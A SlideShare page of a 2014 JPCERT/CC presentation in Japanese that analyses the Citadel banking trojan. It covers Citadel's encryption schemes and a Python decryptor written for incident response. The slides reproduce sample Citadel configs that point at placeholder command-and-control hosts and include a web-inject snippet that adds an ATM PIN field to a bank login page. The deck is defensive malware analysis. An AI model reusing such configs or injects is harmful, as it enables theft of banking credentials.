Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Fight Against
Citadel in Japan
2014/02/18
JPCERT/CC 分析センター
中津留 勇
Copyright©2014 JPCERT/CC All rights reserved.1
目次
背景
—日本における不正送金被害
Citadel の分析
—動作概要
—暗号化
メイキング Citadel Decryptor
Citadel ...
Copyright©2014 JPCERT/CC All rights reserved.2
背景
Copyright©2014 JPCERT/CC All rights reserved.3
日本における不正送金被害
14億600万円
4800万円
3億800万円
2011年 2012年 2013年
http://www.npa.go.jp...
Copyright©2014 JPCERT/CC All rights reserved.4
その裏で・・・
http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
Copyright©2014 JPCERT/CC All rights reserved.5
不正送金に関連したマルウェア
ZeuS
Ice IX
Citadel
GameOver
SpyEye Carberp etc.
Copyright©2014 JPCERT/CC All rights reserved.6
Citadel の感染被害
http://blog.trendmicro.co.jp/archives/7547
Copyright©2014 JPCERT/CC All rights reserved.7
インシデント全体像
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
Copyright©2014 JPCERT/CC All rights reserved.8
Web Injects
ユーザ
インターネット
バンキング
Copyright©2014 JPCERT/CC All rights reserved.9
Web Injects デモ
Copyright©2014 JPCERT/CC All rights reserved.10
マルウェアの作成・管理ツール
Copyright©2014 JPCERT/CC All rights reserved.11
アンダーグラウンドでの売買
Copyright©2014 JPCERT/CC All rights reserved.12
インシデント対応
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
情報共有
Copyright©2014 JPCERT/CC All rights reserved.13
インシデント対応するために
リモート操作用
サーバ
管理サーバ
攻撃者
ユーザ
インターネット
バンキング
どのサイト?
どこの?
どこの?
どうや...
Copyright©2014 JPCERT/CC All rights reserved.14
CITADEL の分析
Copyright©2014 JPCERT/CC All rights reserved.15
Citadel の分析を行うにあたって
リーク版
Citadel
Web パネル
ビルダー
リーク版
ZeuS
Web パネル
ビルダー
ZeuS
...
Copyright©2014 JPCERT/CC All rights reserved.16
分析手法
• ファイル情報等の情報収集
表層分析
• 監視ツール、Sandbox、デバッグ
動的分析
• ソースコードを読む、アセンブリコードを読む...
Copyright©2014 JPCERT/CC All rights reserved.17
静的分析
ZeuS との差分を調査
Copyright©2014 JPCERT/CC All rights reserved.18
Citadel の挙動
送信用レポート
現在の設定など
Web
Injects
Copyright©2014 JPCERT/CC All rights reserved.19
2つの設定ファイル
• 初期設定
• 暗号鍵、Dynamic Config の URL など
• エンコードされてハードコード
Base Confi...
Copyright©2014 JPCERT/CC All rights reserved.20
botnet "CIT"
timer_config 4 9
timer_logs 3 6
timer_stats 4 8
timer_modules...
Copyright©2014 JPCERT/CC All rights reserved.21
Dynamic Config
url_loader "http://citadelhost/folder/file.php|file=soft.ex...
Copyright©2014 JPCERT/CC All rights reserved.22
情報の暗号化
Copyright©2014 JPCERT/CC All rights reserved.23
暗号化されたデータ
Copyright©2014 JPCERT/CC All rights reserved.24
暗号化されたデータの内容
パケット
送信データ
(レポート)
Dynamic Config
追加モジュール
ファイル
レポート
追加モジュール
のバ...
Copyright©2014 JPCERT/CC All rights reserved.25
Citadel が用いる暗号方式
• AES に XOR エンコードを組み合わせた方式
AES+
• RC4 に XOR エンコードを組み合わせた方...
Copyright©2014 JPCERT/CC All rights reserved.26
Citadel が扱うデータ形式
ヘッダ
アイテム
アイテム
アイテム
暗号化 BinStrage
サイズ (XOR)
BinStrage
暗号化 ...
Copyright©2014 JPCERT/CC All rights reserved.27
Dynamic Config の場合
Base
Config
Dynamic
Config
XOR
AES+
UCL 圧縮
Copyright©2014 JPCERT/CC All rights reserved.28
0x400 バイトのオーバーレイ
実行ファイル 実行ファイル
Install Setting
Installed Data
インストール前の Cit...
Copyright©2014 JPCERT/CC All rights reserved.29
復号対象まとめ
カテゴリ 対象 形式 暗号方式
パケット
レポート 暗号化 BinStrage RC4+
Dynamic Config 暗号化 Bi...
Copyright©2014 JPCERT/CC All rights reserved.30
メイキング
CITADEL DECRYPTOR
Copyright©2014 JPCERT/CC All rights reserved.31
ゴール
インシデント対応に必要な情報を復号する
Copyright©2014 JPCERT/CC All rights reserved.32
実装
Python PyCrypto
pefile UCL
Copyright©2014 JPCERT/CC All rights reserved.33
RC4+ 復号処理
RC4 鍵取得
RC4
Visual
Decrypt
Copyright©2014 JPCERT/CC All rights reserved.34
RC4+ 実装
def rc4_plus_decrypt(login_key, base_key, buf):
S1 = base_key['sta...
Copyright©2014 JPCERT/CC All rights reserved.35
AES 鍵取得
AES 復号
Visual
Decrypt
AES+ 復号処理
Copyright©2014 JPCERT/CC All rights reserved.36
AES+ 実装
def unpack_aes_plus(login_key, base_key, xor_key,
aes_key, data):
...
Copyright©2014 JPCERT/CC All rights reserved.37
必要なパラメータ
Base
Config
RC4 鍵
Installed
Data
StrageArray
鍵
ランダム
AES 鍵
その他
Sal...
Copyright©2014 JPCERT/CC All rights reserved.38
必要なパラメータの取得
re.compile(".*¥x56¥xBA(..)¥x00¥x00¥x52¥x68(....)
¥x50¥xE8....¥...
Copyright©2014 JPCERT/CC All rights reserved.39
UCL Decompress
http://www.oberhumer.com/opensource/ucl/
Copyright©2014 JPCERT/CC All rights reserved.40
UCL Decompress 実装
def _ucl_decompress(self, data):
ucl = cdll.LoadLibrary(...
Copyright©2014 JPCERT/CC All rights reserved.41
CITADEL DECRYPTOR
Copyright©2014 JPCERT/CC All rights reserved.42
動作に必要な環境
•コードおよび使用しているライブラリが 64bit に対応していないため
Windows + 32bit Python
•Pyth...
Copyright©2014 JPCERT/CC All rights reserved.43
復号に必要なデータ
復号対象
アンパックされた Citadel 本体
• ベース RC4 鍵
• AES+ 用の XOR 鍵
• RC4+ 用の X...
Copyright©2014 JPCERT/CC All rights reserved.44
citadel_decryptor.py
Citadel が扱う暗号化された様々なデータを復号するス
クリプト
復号対象と、アンパックした本体は常に...
Copyright©2014 JPCERT/CC All rights reserved.45
目的別オプション
以下のオプションと、復号対象およびアンパック後の
Citadel を指定する
カテゴリ 対象 指定オプション
パケット
レポート ...
Copyright©2014 JPCERT/CC All rights reserved.46
実践
Copyright©2014 JPCERT/CC All rights reserved.47
Tips
レジストリデータのバイナリ化
• regedit を用いエクスポートしたデータを FileInsight のプラグインで
バイナリデータに...
Copyright©2014 JPCERT/CC All rights reserved.48
今後の活動
今持っているツール
• Citadel Decryptor
• ZeuS Decryptor
• Ver 2.0.8.9
• Ver 2...
Thank You!
連絡先
aa-info@jpcert.or.jp
https://www.jpcert.or.jp
インシデント報告
info@jpcert.or.jp
https://www.jpcert.or.jp/form/
Upcoming SlideShare
Loading in …5
×

Fight Against Citadel in Japan by 中津留 勇

2,375 views

Published on

近年日本国内における相次ぐインターネットバンキングの不正送金の背後に存在するマルウェア「Citadel」。
Citadel は、ZeuS をはじめとする「バンキングトロイ」と呼ばれるマルウェアの一種であり、 感染ユーザがインターネットバンキングを使用する際にその認証情報を摂取しようとWeb ブラウザ上の表示を改ざんする「Web Injects」という特徴的な機能を持つ。
この Citadel感染によるインシデントに対応するには、感染端末上で Citadelがどのような設定で Web Injects を行い、 どのサーバと通信していたのかを明らかにする必要がある。そのためには、Citadel の細部までを理解した上で、Citadel が残したファイル群を調査しなければならない。
この発表では、インシデント対応において Citadel を詳細に分析した結果得られた知見、およびインシデント対応のため作成した Citadel 関連ファイル および通信データの復号ツールを紹介する。

中津留 勇 - You Nakatsuru

情報セキュリティインシデント対応支援業務、マルウェア分析・対策研究業務を経て、2013年4月から現職。 現在は、高度化するインシデント対応としてのマルウェア分析を行うと共に、インシデント対応技術・マルウェア対策技術の高度化に関しての調査・研究に従事。 マルウェア分析者の育成にも力を入れている。

Published in: Technology
  • Login to see the comments

Fight Against Citadel in Japan by 中津留 勇

  1. 1. Fight Against Citadel in Japan 2014/02/18 JPCERT/CC 分析センター 中津留 勇
  2. 2. Copyright©2014 JPCERT/CC All rights reserved.1 目次 背景 —日本における不正送金被害 Citadel の分析 —動作概要 —暗号化 メイキング Citadel Decryptor Citadel Decryptor —復号方法 —デモ
  3. 3. Copyright©2014 JPCERT/CC All rights reserved.2 背景
  4. 4. Copyright©2014 JPCERT/CC All rights reserved.3 日本における不正送金被害 14億600万円 4800万円 3億800万円 2011年 2012年 2013年 http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf 標的となった金融機関は 32
  5. 5. Copyright©2014 JPCERT/CC All rights reserved.4 その裏で・・・ http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
  6. 6. Copyright©2014 JPCERT/CC All rights reserved.5 不正送金に関連したマルウェア ZeuS Ice IX Citadel GameOver SpyEye Carberp etc.
  7. 7. Copyright©2014 JPCERT/CC All rights reserved.6 Citadel の感染被害 http://blog.trendmicro.co.jp/archives/7547
  8. 8. Copyright©2014 JPCERT/CC All rights reserved.7 インシデント全体像 リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング
  9. 9. Copyright©2014 JPCERT/CC All rights reserved.8 Web Injects ユーザ インターネット バンキング
  10. 10. Copyright©2014 JPCERT/CC All rights reserved.9 Web Injects デモ
  11. 11. Copyright©2014 JPCERT/CC All rights reserved.10 マルウェアの作成・管理ツール
  12. 12. Copyright©2014 JPCERT/CC All rights reserved.11 アンダーグラウンドでの売買
  13. 13. Copyright©2014 JPCERT/CC All rights reserved.12 インシデント対応 リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング 情報共有
  14. 14. Copyright©2014 JPCERT/CC All rights reserved.13 インシデント対応するために リモート操作用 サーバ 管理サーバ 攻撃者 ユーザ インターネット バンキング どのサイト? どこの? どこの? どうやって? どこの?
  15. 15. Copyright©2014 JPCERT/CC All rights reserved.14 CITADEL の分析
  16. 16. Copyright©2014 JPCERT/CC All rights reserved.15 Citadel の分析を行うにあたって リーク版 Citadel Web パネル ビルダー リーク版 ZeuS Web パネル ビルダー ZeuS ソースコード Web パネル ソース ビルダー ソース ビルドされ たサーバ デバッグ情 報 ブログ記事等 Sophos LEXSI
  17. 17. Copyright©2014 JPCERT/CC All rights reserved.16 分析手法 • ファイル情報等の情報収集 表層分析 • 監視ツール、Sandbox、デバッグ 動的分析 • ソースコードを読む、アセンブリコードを読む 静的分析
  18. 18. Copyright©2014 JPCERT/CC All rights reserved.17 静的分析 ZeuS との差分を調査
  19. 19. Copyright©2014 JPCERT/CC All rights reserved.18 Citadel の挙動 送信用レポート 現在の設定など Web Injects
  20. 20. Copyright©2014 JPCERT/CC All rights reserved.19 2つの設定ファイル • 初期設定 • 暗号鍵、Dynamic Config の URL など • エンコードされてハードコード Base Config • 追加の設定 • Webパネルの URL、Web Injects、etc… • サーバからダウンロード Dynamic Config
  21. 21. Copyright©2014 JPCERT/CC All rights reserved.20 botnet "CIT" timer_config 4 9 timer_logs 3 6 timer_stats 4 8 timer_modules 1 4 timer_autoupdate 8 url_config1 "http://citadelhost/folder/file.php|file=config.dll" url_config2 "http://reserve-citadelhost/folder/file.php|file=config.dll" remove_certs 1 disable_cookies 0 encryption_key "key123" report_software 1 enable_luhn10_get 0 enable_luhn10_post 1 disable_antivirus 0 use_module_video 1 antiemulation_enable 0 disable_httpgrabber 0 use_module_ffcookie 1 Base Config Dynamic Config の URL RC4 鍵を生成するための パスワード
  22. 22. Copyright©2014 JPCERT/CC All rights reserved.21 Dynamic Config url_loader "http://citadelhost/folder/file.php|file=soft.exe" url_server "http://citadelhost/folder/gate.php" file_webinjects "injects.txt" url_webinjects "http://citadelhost/folder/file.php" entry "AdvancedConfigs" "http://reserve-host1/folder/file.php|file=config.bin" "http://reserve-host2/folder/file.php|file=config.bin" end entry "WebFilters" "#*wellsfargo.com/*" "@*payment.com/*" "!http://*.com/*.jpg" end (snip) set_url https://www.wellsfargo.com/ GP data_before <div><strong><label for="userid">Username</la data_end data_inject <input type="text" accesskey="U" id="userid" na <DIV><STRONG><LABEL for=userid>ATM Pin</L style="WIDTH: 147px" tabIndex="2" maxLength= <DIV><STRONG><label for="password">Passwo <input type="password" accesskey="P" id="pass <input type="hidden" name="screenid" value="SI <input type="submit" value="Go" name="btnSign <input type="hidden" id="u_p" name="u_p" value </form> data_end
  23. 23. Copyright©2014 JPCERT/CC All rights reserved.22 情報の暗号化
  24. 24. Copyright©2014 JPCERT/CC All rights reserved.23 暗号化されたデータ
  25. 25. Copyright©2014 JPCERT/CC All rights reserved.24 暗号化されたデータの内容 パケット 送信データ (レポート) Dynamic Config 追加モジュール ファイル レポート 追加モジュール のバックアップ レジストリ 現在の設定 Dynamic Config のバックアップ
  26. 26. Copyright©2014 JPCERT/CC All rights reserved.25 Citadel が用いる暗号方式 • AES に XOR エンコードを組み合わせた方式 AES+ • RC4 に XOR エンコードを組み合わせた方式 RC4+ • RC4+ による復号を 2度行う RC4+ * 2 • インストール時にランダムに生成した AES 鍵を使用した AES+ Installed Data
  27. 27. Copyright©2014 JPCERT/CC All rights reserved.26 Citadel が扱うデータ形式 ヘッダ アイテム アイテム アイテム 暗号化 BinStrage サイズ (XOR) BinStrage 暗号化 BinStrage サイズ (XOR) 暗号化 BinStrage サイズ (XOR) StrageArray UCL 圧縮
  28. 28. Copyright©2014 JPCERT/CC All rights reserved.27 Dynamic Config の場合 Base Config Dynamic Config XOR AES+ UCL 圧縮
  29. 29. Copyright©2014 JPCERT/CC All rights reserved.28 0x400 バイトのオーバーレイ 実行ファイル 実行ファイル Install Setting Installed Data インストール前の Citadel インストール後 XOR 鍵 ID, インストールパス, ランダム AES 鍵、 ランダム StrageArray 鍵 など パディング パディング
  30. 30. Copyright©2014 JPCERT/CC All rights reserved.29 復号対象まとめ カテゴリ 対象 形式 暗号方式 パケット レポート 暗号化 BinStrage RC4+ Dynamic Config 暗号化 BinStrage AES+ 追加モジュール 実行ファイル RC4+ * 2 ファイル レポートファイル StrageArray Installed Data モジュールの バックアップ StrageArray Installed Data レジストリ Dynamic Config の バックアップ 暗号化 BinStrage Installed Data
  31. 31. Copyright©2014 JPCERT/CC All rights reserved.30 メイキング CITADEL DECRYPTOR
  32. 32. Copyright©2014 JPCERT/CC All rights reserved.31 ゴール インシデント対応に必要な情報を復号する
  33. 33. Copyright©2014 JPCERT/CC All rights reserved.32 実装 Python PyCrypto pefile UCL
  34. 34. Copyright©2014 JPCERT/CC All rights reserved.33 RC4+ 復号処理 RC4 鍵取得 RC4 Visual Decrypt
  35. 35. Copyright©2014 JPCERT/CC All rights reserved.34 RC4+ 実装 def rc4_plus_decrypt(login_key, base_key, buf): S1 = base_key['state'] S2 = map(ord, login_key) out = "" i = j = k = 0 for c in buf: i = (i + 1) & 0xFF j = (j + S1[i]) & 0xFF S1[i], S1[j] = S1[j], S1[i] out += chr((ord(c) ^ S1[(S1[i]+S1[j])&0xFF]) ^ S2[k%len(S2)]) k += 1 return out
  36. 36. Copyright©2014 JPCERT/CC All rights reserved.35 AES 鍵取得 AES 復号 Visual Decrypt AES+ 復号処理
  37. 37. Copyright©2014 JPCERT/CC All rights reserved.36 AES+ 実装 def unpack_aes_plus(login_key, base_key, xor_key, aes_key, data): aes = AES.new(aes_key) tmp = aes.decrypt(data) out = "" for i in range(len(tmp)): out += chr(ord(tmp[i]) ^ ord(xor_key[i%len(xor_key)])) return out
  38. 38. Copyright©2014 JPCERT/CC All rights reserved.37 必要なパラメータ Base Config RC4 鍵 Installed Data StrageArray 鍵 ランダム AES 鍵 その他 Salt LoginKey AES XOR 鍵
  39. 39. Copyright©2014 JPCERT/CC All rights reserved.38 必要なパラメータの取得 re.compile(".*¥x56¥xBA(..)¥x00¥x00¥x52¥x68(....) ¥x50¥xE8....¥x8B¥x0D.*", re.DOTALL)
  40. 40. Copyright©2014 JPCERT/CC All rights reserved.39 UCL Decompress http://www.oberhumer.com/opensource/ucl/
  41. 41. Copyright©2014 JPCERT/CC All rights reserved.40 UCL Decompress 実装 def _ucl_decompress(self, data): ucl = cdll.LoadLibrary(UCL) compressed = c_buffer(data) decompressed = c_buffer(DECOMPRESS_MAX_SIZE) decompressed_size = c_int() result = ucl.ucl_nrv2b_decompress_le32( pointer(compressed), c_int(len(compressed.raw)), pointer(decompressed), pointer(decompressed_size)) return decompressed.raw[:decompressed_size.value]
  42. 42. Copyright©2014 JPCERT/CC All rights reserved.41 CITADEL DECRYPTOR
  43. 43. Copyright©2014 JPCERT/CC All rights reserved.42 動作に必要な環境 •コードおよび使用しているライブラリが 64bit に対応していないため Windows + 32bit Python •Python の暗号モジュール •AES 復号を行うために使用 •Windows 用のバイナリは •http://www.voidspace.org.uk/python/modules.shtml#pycrypto PyCrypto •Python の Windows 実行ファイルをパースするモジュール •セクション等をパースして、必要な鍵を取り出すために使用 pefile
  44. 44. Copyright©2014 JPCERT/CC All rights reserved.43 復号に必要なデータ 復号対象 アンパックされた Citadel 本体 • ベース RC4 鍵 • AES+ 用の XOR 鍵 • RC4+ 用の XOR 鍵(LOGINKEY) • RC4+ 用の salt インストールされた後の Citadel 本体 • Installed Data • ランダムに生成された AES 鍵 • ランダムに生成された StrageArray 鍵
  45. 45. Copyright©2014 JPCERT/CC All rights reserved.44 citadel_decryptor.py Citadel が扱う暗号化された様々なデータを復号するス クリプト 復号対象と、アンパックした本体は常に引数に入れる必 要がある >citadel_decryptor.py usage: citadel_decryptor.py [-h] [-n] [-a] [-d] [-o OUT] [-D] [-l LOGIN] [-k KEY] [-x XOR] [-s SALT] [-i INSTALLED] [-m MODE] [-v] DAT EXE citadel_decryptor.py: error: too few arguments >
  46. 46. Copyright©2014 JPCERT/CC All rights reserved.45 目的別オプション 以下のオプションと、復号対象およびアンパック後の Citadel を指定する カテゴリ 対象 指定オプション パケット レポート -m2 Dynamic Config -d モジュール -m3 -n ファイル レポートファイル -a -i [Install Data を持つ実行ファイル] モジュールの バックアップ -a -i [Install Data を持つ実行ファイル] レジストリ Dynamic Config の バックアップ -d -i [Install Data を持つ実行ファイル]
  47. 47. Copyright©2014 JPCERT/CC All rights reserved.46 実践
  48. 48. Copyright©2014 JPCERT/CC All rights reserved.47 Tips レジストリデータのバイナリ化 • regedit を用いエクスポートしたデータを FileInsight のプラグインで バイナリデータに変換 • https://github.com/nmantani/FileInsight-plugins アンパック • パッカーが呼び出す API でブレークする方法が簡単 • WriteProcessMemory • CreateProcessW • VirtualFree / VirtualFreeEx / RtlFreeHeap • 仮想メモリ上から実行ファイルそのものを取り出す • オーバーレイの 0x400 バイトを忘れずに切り取る
  49. 49. Copyright©2014 JPCERT/CC All rights reserved.48 今後の活動 今持っているツール • Citadel Decryptor • ZeuS Decryptor • Ver 2.0.8.9 • Ver 2.9.6.1 • Ice IX Decryptor • etc. 持っていないツール • Gameover (P2P ZeuS) Decryptor
  50. 50. Thank You! 連絡先 aa-info@jpcert.or.jp https://www.jpcert.or.jp インシデント報告 info@jpcert.or.jp https://www.jpcert.or.jp/form/

×